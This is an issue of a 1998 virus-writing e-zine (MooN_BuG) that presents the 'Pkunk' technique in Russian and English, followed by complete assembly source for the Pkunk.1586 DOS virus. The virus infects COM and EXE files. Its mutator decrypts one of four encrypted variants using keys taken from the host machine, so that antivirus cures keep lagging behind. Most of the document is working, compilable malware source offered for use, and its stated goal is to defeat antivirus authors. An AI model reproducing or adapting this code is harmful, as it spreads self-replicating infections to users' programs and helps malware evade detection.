[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998 file 005
Pkunk-технология
by Wet Milk
1. Что такое Pkunk?
~~~~~~~~~~~~~~~~~~~
Pkunk - забавная розовая птичка, которая живет на Gamma
Krueger. Она умеет несколько раз возрождаться после гибели.
Pkunk-технология - новая вирусная технология.
Pkunk.1586 - новый вирус. Он демонстрирует Pkunk-техноло-
гию.
2. Описание идеи
~~~~~~~~~~~~~~~~
Вирус Pkunk.1586 основан на Pkunk-технологии. Он состоит
из следующих частей:
a) Активный вирус
b) N пассивных вирусов. Они сильно зашифрованы, а ключ ни-
кому не известен :)
c) Мутатор
Сначала выполняется мутатор. Он пытается расшифровать один
из пассивных вирусов. Вариант ключа берется где-то в машине,
например, имя каталога, часть ROM BIOS, текущая дата и т.п.
Если удалось, то мутатор копирует расшифрованый вирус в ак-
тивный вирус. Затем мутатор передает управление старому актив-
ному вирусу или новому активному вирусу. Активный вирус рабо-
тает.
Автор антивирусной программы тоже не знает ключа. Поэтому
он легко и быстро делает лечащий модуль только для текущего
активного вируса. Но, вероятно, на каких-то машинах активный
вирус уже другой! Если сохраненных пассивных вирусов много, то
автор антивирусной программы будет писать новые лечащие модули
лет 100 или больше. :)
3. Pkunk.1586
~~~~~~~~~~~~~
Длина: 1586
Инфицирование: COM и EXE в текущем каталоге
Деструкция: нет
Количество пассивных вирусов: 4
Ключ шифрации/дешифрации: вам неизвестен :)
Исходный текст: мутатор и активный вирус, пассивные вирусы
по прежнему зашифрованы
Adios, Earthlings! :)
=== Cut === PKUNK.ENG
Pkunk Technology
by Wet Milk
1. What is Pkunk?
~~~~~~~~~~~~~~~~~
Pkunk is the fun rosy bird living at the Gamma Crueger. It
can reborn some times after the death.
Pkunk Technology is the new virii technology.
Pkunk.1586 is a new virus which demonstrates Pkunk
Technology.
2. Description of the idea
~~~~~~~~~~~~~~~~~~~~~~~~~~
The Pkunk.1586 is based on the Pkunk Technology. It
consists of the following parts:
a) Active virus
b) N passive viruses. They are encoded well and nobody
knows the key :)
c) Mutator
First, mutator works. It attempts decode one of passive
virii. It takes the version of the key at the current
computer, for instance: directory name, part of the ROM BIOS,
current date, etc. If well done then mutator copies the
decoded virus into active virus. When it passes the control to
new active virus or to old active virus. Active virus works.
Author of the a/v software doesn't know key also. Because
of this, he makes easily and fastly the cure module for the
current active virus only. But, perhaps, some files at the
some computers are infected with the another version of active
virus! If there are many encoded passive virii then author of
a/v software will write new and new cure modules... for a 100
years or more. :)
3. Pkunk.1586
~~~~~~~~~~~~~
Length: 1586
Target files: COM and EXE in the current directory
Destruction: no
Passive virii: 4
Encode/decode key: you known't
Source code: only mutator and active virus, passive virii
are still encoded
Adios, Earthlings!
=== Cut ===
=== Cut === PKUNK.ASM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; PKUNK.1586 by Wet Milk ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Length: 1586 ;;
;; Target: COM/EXE ;;
;; Area: current directory ;;
;; Resident: no ;;
;; Destruction: no ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Compiler: tasm v2.0 ;;
;; Compile: tasm pkunk /m2 ;;
;; Link: tlink pkunk /t ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.286
Cseg segment
assume cs:cseg, ds:cseg, ss:cseg
org 100h
BUFLEN equ (((Finish-Start)*2)/16)+1
CHECKS1 equ 3A63h
CHECKS2 equ 3DB2h
CHECKS3 equ 51F6h
CHECKS4 equ 4C73h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Common part ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Start:
call Next
CopyRT db '[PKUNK v1.0] (c) Wet Milk',0
Next:
mov bp, sp
mov bp, [bp]
inc sp
inc sp
sub bp, 103h
jmp short GivMem
RepGiv:
mov ax, es
dec ax
mov ds, ax
mov bx, ds:word ptr [3]
mov ah, 4Ah
sub bx, BUFLEN+1
int 21h
GivMem:
mov ah, 48h
mov bx, BUFLEN
int 21h
jc RepGiv
sub ax, 10h
mov es, ax
mov cs: ImSeg1[bp], ax
push cs
pop ds
lea si, ds:Start[bp]
mov di, 100h
mov cx, Finish-Start
cld
rep movsb
mov ah, 1Ah
lea dx, ds:FDTA[bp]
int 21h
call Mutate ; !!!
FindFirst:
mov ah, 4Eh
lea dx, ds:Maska[bp]
xor cx,cx
RepF:
int 21h
jc NoMore
lea dx, ds:FName[bp]
db 9Ah
dw offset Infect
ImSeg1 dw ?
mov ah,4Fh
jmp RepF
NoMore:
mov ah, 49h
int 21h
mov ah, 62h
int 21h
mov es, bx
mov ds, bx
mov ah, 1Ah
mov dx, 80h
int 21h
call GoHome
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Mutator ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Mutate:
;
FindFirstD:
mov ah, 4Eh
lea dx, MaskaD[bp]
mov cx,10000b
RepD:
int 21h
jc NoMoreD
call TryKey
mov ah,4Fh
jmp RepD
NoMoreD:
ret
; Selector
TryKey:
; 1-st
lea si, GoHome1[bp]
lea bx, FName[bp]
mov cx, EndOfVir1-GoHome1
call DeCode ; Attempt to decode
lea si, GoHome1[bp]
lea bx, FName[bp]
mov cx, EndOfVir1-GoHome1
call CSum ; Count checksum
cmp ds:Result[bp], CHECKS1 ; Is checksum correct
jnz NoCopy1 ; Nope, skip
Copy1: ; Yep, copy
lea si, GoHome1[bp]
lea di, GoHome
mov cx, Infect1-GoHome1
cld
rep movsb
lea si, Infect1[bp]
lea di, Infect
mov cx, EndOfVir1-Infect1
rep movsb
NoCopy1:
lea si, GoHome1[bp]
lea bx, FName[bp]
mov cx, EndOfVir1-GoHome1
call EnCode ; Reset encryption
; 2-nd
lea si, GoHome2[bp]
lea bx, FName[bp]
mov cx, EndOfVir2-GoHome2
call DeCode
lea si, GoHome2[bp]
lea bx, FName[bp]
mov cx, EndOfVir2-GoHome2
call CSum
cmp ds:Result[bp], CHECKS2
jnz NoCopy2
Copy2:
lea si, GoHome2[bp]
lea di, GoHome
mov cx, Infect2-GoHome2
cld
rep movsb
lea si, Infect2[bp]
lea di, Infect
mov cx, EndOfVir2-Infect2
rep movsb
NoCopy2:
lea si, GoHome2[bp]
lea bx, FName[bp]
mov cx, EndOfVir2-GoHome2
call EnCode
; 3-rd
lea si, GoHome3[bp]
lea bx, FName[bp]
mov cx, EndOfVir3-GoHome3
call DeCode
lea si, GoHome3[bp]
lea bx, FName[bp]
mov cx, EndOfVir3-GoHome3
call CSum
cmp ds:Result[bp], CHECKS3
jnz NoCopy3
Copy3:
lea si, GoHome3[bp]
lea di, GoHome
mov cx, Infect3-GoHome3
cld
rep movsb
lea si, Infect3[bp]
lea di, Infect
mov cx, EndOfVir3-Infect3
rep movsb
NoCopy3:
lea si, GoHome3[bp]
lea bx, FName[bp]
mov cx, EndOfVir3-GoHome3
call EnCode
; 4-th
lea si, GoHome4[bp]
lea bx, FName[bp]
mov cx, EndOfVir4-GoHome4
call DeCode
lea si, GoHome4[bp]
lea bx, FName[bp]
mov cx, EndOfVir4-GoHome4
call CSum
cmp ds:Result[bp], CHECKS4
jnz NoCopy4
Copy4:
lea si, GoHome4[bp]
lea di, GoHome
mov cx, Infect4-GoHome4
cld
rep movsb
lea si, Infect4[bp]
lea di, Infect
mov cx, EndOfVir4-Infect4
rep movsb
NoCopy4:
lea si, GoHome4[bp]
lea bx, FName[bp]
mov cx, EndOfVir4-GoHome4
call EnCode
ret
; Encoder
Encode:
mov al, byte ptr [bx]
add [si], al
mov al, byte ptr [bx+1]
xor [si], al
mov al, byte ptr [bx+2]
sub [si], al
inc si
loop Encode
ret
; Decoder
Decode:
mov al, byte ptr [bx+2]
add [si], al
mov al, byte ptr [bx+1]
xor [si], al
mov al, byte ptr [bx]
sub [si], al
inc si
loop Decode
ret
; Checksum counter
CSum:
pusha
sub bx, bx
LoopC:
lodsb
sub ah, ah
add bx, ax
loop LoopC
mov ds:Result[bp], bx
popa
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; DATA ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Result dw ?
;
FDta db 15h dup (?)
FAttr db 0
FTime dw 0
FDate dw 0
Fsize dd 0
FName db 0Eh dup (?)
;
Maska db '*.*',0
MaskaD db 'C:\*.*',0
;
ExeHead dw 0C3C3h ; 00
PartPag dw ? ; 02
PageCnt dw ? ; 04
ReloCnt dw ? ; 06
HdrSize dw ? ; 08
MinMem dw ? ; 0Ah 10
MaxMem dw ? ; 0Ch 12
ReloSS dw ? ; 0Eh 14
ExeSP dw ? ; 10h 16
ChkSum dw ? ; 12h 18
ExeIP dw ? ; 14h 20
ReloCS dw ? ; 16h 22
TablOff dw ? ; 18h 24
Overlay dw ? ; 1Ah 26
FinHead:
;
Jump db 0E9h
XXXX dw ?
Sign db '['
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Current Virus ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GoHome:
pop ax
mov ax, word ptr ExeHead[bp]
mov cs:[100h], ax
mov ax, word ptr PartPag[bp]
mov cs:[102h], ax
xor ax, ax
xor bx, bx
xor cx, cx
xor dx, dx
xor si, si
xor di, di
xor bp, bp
push 100h
ret
db 16 dup (?)
;
Infect:
pusha
push es
push ds
cmp word ptr ds:[FSize+2][bp], 0
jz OkLen
jmp Failure
OkLen:
mov ax, 3D02h
int 21h
mov bx,ax
push cs
pop ds
mov ah, 3Fh
mov cx, 4
lea dx, ExeHead
int 21h
cmp byte ptr [PartPag+1], '['
jz Failure
mov al, byte ptr ExeHead
cmp al, 0B8h
jz IsCOM
cmp al, 0E9h
jz IsCOM
cmp al, 0EBh
jz IsCOM
cmp al, 8Ch
jz IsCOM
cmp al, 0B4h
jz IsCOM
cmp al, 0B0h
jz IsCOM
cmp al, 90h
jz IsCOM
jmp Failure
IsCOM:
mov ax, 4202h
sub cx, cx
sub dx, dx
int 21h
sub ax,3
mov XXXX, ax
mov ah, 40h
mov cx, Finish-Start
mov dx, 100h
int 21h
mov ax,4200h
sub cx, cx
sub dx, dx
int 21h
mov ah, 40h
mov cx, 4
mov dx, offset Jump
int 21h
Failure:
mov ah, 3Eh
int 21h
pop ds
pop es
popa
retf
db 64 dup(?)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Storage Bay ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GoHome1:
DB 080H,02DH,032H,06DH,0B5H,0EAH,055H
DB 0B8H,0B7H,02DH,032H,08BH,0B5H,0EAH,055H,0B6H,0B7H,0E5H,0F8H
DB 0E5H,0FDH,0E5H,0EFH,0E5H,006H,0E5H,022H,0E5H,0B9H,0E5H,02BH
DB 090H,0B8H,0B7H,0F5H
Infect1:
DB 098H,0B2H,0DAH,07AH,035H,0FAH,0E8H,0B5H
DB 0B8H,0A4H,0B6H,00DH,091H,060H,0B6H,07BH,00BH,0D7H,02DH,000H
DB 0CAH,0D9H,064H,079H,05FH,0B4H,0B8H,05EH,06DH,0B5H,00BH,0D7H
DB 038H,07AH,08AH,0B5H,07DH,0A4H,08BH,058H,06DH,0B5H,07CH,060H
DB 0A4H,0BEH,07CH,00FH,0A4H,0C2H,07CH,00DH,0A4H,0C6H,07CH,04CH
DB 0A4H,0CAH,07CH,064H,0A4H,0AEH,07CH,068H,0A4H,0B2H,07CH,048H
DB 0A4H,0B6H,00DH,0ECH,060H,0B6H,076H,0CDH,0EFH,0CDH,006H,00BH
DB 0D7H,0EBH,0B5H,0B8H,055H,090H,0B5H,064H,078H,05FH,0E6H,0B2H
DB 05EH,0B8H,0B7H,00BH,0D7H,060H,0B8H,076H,0CDH,0EFH,0CDH,006H
DB 00BH,0D7H,064H,078H,05FH,0B4H,0B8H,05EH,091H,0B5H,00BH,0D7H
DB 064H,07AH,00BH,0D7H,0D9H,0B1H,097H,0EDH
EndOfVir1:
GoHome2:
DB 098H,00EH,0D0H,0D1H
DB 011H,0D0H,0C3H,0C5H,0B9H,00BH,072H,0C6H,075H,010H,075H,02DH
DB 075H,012H,075H,0BFH,0A8H,0D0H,0C3H,0CCH,0B5H,064H,005H
Infect2:
DB 0B0H
DB 0C6H,0EEH,08EH,045H,00EH,080H,0C5H,0D0H,034H,0C2H,0BDH,040H
DB 08EH,043H,00EH,07EH,0C5H,072H,0C6H,039H,0C2H,0BDH,0A7H,0F4H
DB 08FH,000H,0C2H,01FH,0E3H,05DH,018H,0DEH,0F1H,0F4H,091H,00BH
DB 072H,0C6H,00AH,072H,0C9H,01FH,0E3H,070H,072H,0C9H,08CH,0F8H
DB 034H,0EAH,08CH,0BBH,034H,0D6H,08CH,0BDH,034H,0D2H,08CH,05CH
DB 034H,0DEH,08CH,0F4H,034H,0DAH,08CH,000H,034H,0C6H,08CH,060H
DB 034H,0C2H,0BDH,080H,050H,08EH,077H,0C9H,0ADH,034H,07BH,0F8H
DB 0C2H,082H,07DH,01BH,07DH,012H,01FH,0E3H,065H,03FH,0C5H,0F4H
DB 090H,00BH,072H,0C6H,00AH,072H,0C9H,01FH,0E3H,0F8H,0D0H,082H
DB 07DH,01BH,07DH,012H,01FH,0E3H,0F4H,090H,00BH,072H,0C6H,00AH
DB 0D0H,0C3H,01FH,0E3H,0F4H,08EH,01FH,0E3H,0F1H,0C9H,0A3H,01DH
EndOfVir2:
GoHome3:
DB 091H,045H,0F9H,0C0H,0C9H,0B9H,0C0H,0B9H,0B9H,089H,071H,0EBH
DB 0BFH,089H,0E6H,0F9H,0E6H,016H,0E6H,004H,0E6H,00BH,0E6H,02FH
DB 0E6H,0BAH,0E6H,028H,006H
Infect3:
DB 099H,0BFH,0D7H,071H,0BBH,078H,008H
DB 0DCH,046H,011H,0C7H,0DAH,06DH,07AH,0F4H,0D5H,0B9H,0F3H,086H
DB 0BEH,008H,0DCH,046H,02BH,039H,075H,088H,0ADH,0C1H,039H,075H
DB 093H,0ADH,0BEH,024H,045H,0B9H,039H,035H,0CBH,096H,0B0H,0BEH
DB 024H,03EH,0B9H,046H,07DH,0CFH,05EH,0ABH,0BEH,046H,07DH,0CDH
DB 05EH,0AFH,0BEH,071H,0BBH,07BH,0E6H,004H,0E6H,00BH,008H,0DCH
DB 0F4H,0B9H,0BBH,032H,02CH,0C6H,00BH,0ADH,0BCH,079H,076H,07DH
DB 0BDH,0B0H,09AH,076H,08DH,0BBH,0B0H,093H,071H,0BBH,07BH,0E6H
DB 004H,0E6H,00BH,008H,0DCH,046H,0C7H,08EH,0BEH,0FCH,01CH,0BDH
DB 0E6H,0FCH,03EH,013H,0B9H,0F4H,0C9H,0B9H,032H,02CH,044H,07DH
DB 0CFH,044H,08DH,0CDH,06DH,079H,0F3H,0B9H,0BCH,0F4H,0EBH,0BFH
DB 008H,0DCH,071H,0BBH,07BH,0E6H,004H,0E6H,00BH,008H,0DCH,0F4H
DB 0B9H,0BBH,032H,02CH,0C6H,00BH,0ADH,0BCH,079H,044H,07DH,0BDH
DB 044H,08DH,0BBH,0FFH,07DH,0CBH,096H,071H,0B9H,07BH,0E6H,004H
DB 0E6H,00BH,008H,0DCH,06DH,079H,0F3H,086H,0BEH,0F4H,0D5H,0B9H
DB 008H,0DCH,06DH,077H,008H,0DCH,0DAH,0C2H,09CH,006H
EndOfVir3:
GoHome4:
DB 0B9H,0A9H
DB 08FH,0CAH,0E6H,001H,0E6H,036H,0E6H,008H,0E6H,02FH,0E6H,0CBH
DB 0E6H,0C2H,0E6H,024H,0FEH
Infect4:
DB 0A1H,0BBH,0F3H,019H,0BFH,094H,004H
DB 0E0H,046H,039H,0C3H,0E2H,00DH,082H,018H,0F5H,0C1H,017H,086H
DB 0BEH,004H,0E0H,046H,0CFH,041H,095H,084H,04DH,0C9H,041H,095H
DB 0B7H,04DH,0BEH,028H,03EH,0C1H,041H,055H,0EFH,0B6H,04CH,0BFH
DB 026H,056H,046H,07DH,0EDH,05EH,0A4H,0BEH,019H,0BFH,07FH,0E6H
DB 008H,0E6H,02FH,004H,0E0H,03EH,0D7H,0C1H,04CH,0AAH,018H,0C1H
DB 0BFH,0DAH,0D0H,0C6H,02FH,04DH,0C0H,081H,096H,07DH,0BDH,04CH
DB 0B9H,096H,0ADH,0BFH,04CH,0AEH,019H,0BFH,07FH,0E6H,008H,0E6H
DB 02FH,004H,0E0H,046H,009H,046H,07DH,0C9H,0BEH,07DH,0EBH,000H
DB 021H,0BDH,0E6H,009H,048H,085H,0EDH,00DH,081H,017H,0C1H,0C0H
DB 018H,08FH,0BBH,004H,0E0H,019H,0BFH,07FH,0E6H,008H,0E6H,02FH
DB 004H,0E0H,018H,0C1H,0BFH,0DAH,0D0H,0C6H,02FH,04DH,0C0H,081H
DB 048H,07DH,0BDH,048H,0ADH,0BFH,0FBH,07DH,0EFH,0B6H,019H,0C1H
DB 07FH,0E6H,008H,0E6H,02FH,004H,0E0H,00DH,081H,017H,086H,0BEH
DB 018H,0F5H,0C1H,004H,0E0H,00DH,093H,004H,0E0H,0E2H,0CAH,0A0H
DB 006H
EndOfVir4:
Finish:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Part of dropper ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov ah, 4Ch
int 21h
Cseg ends
end Start
=== Cut ===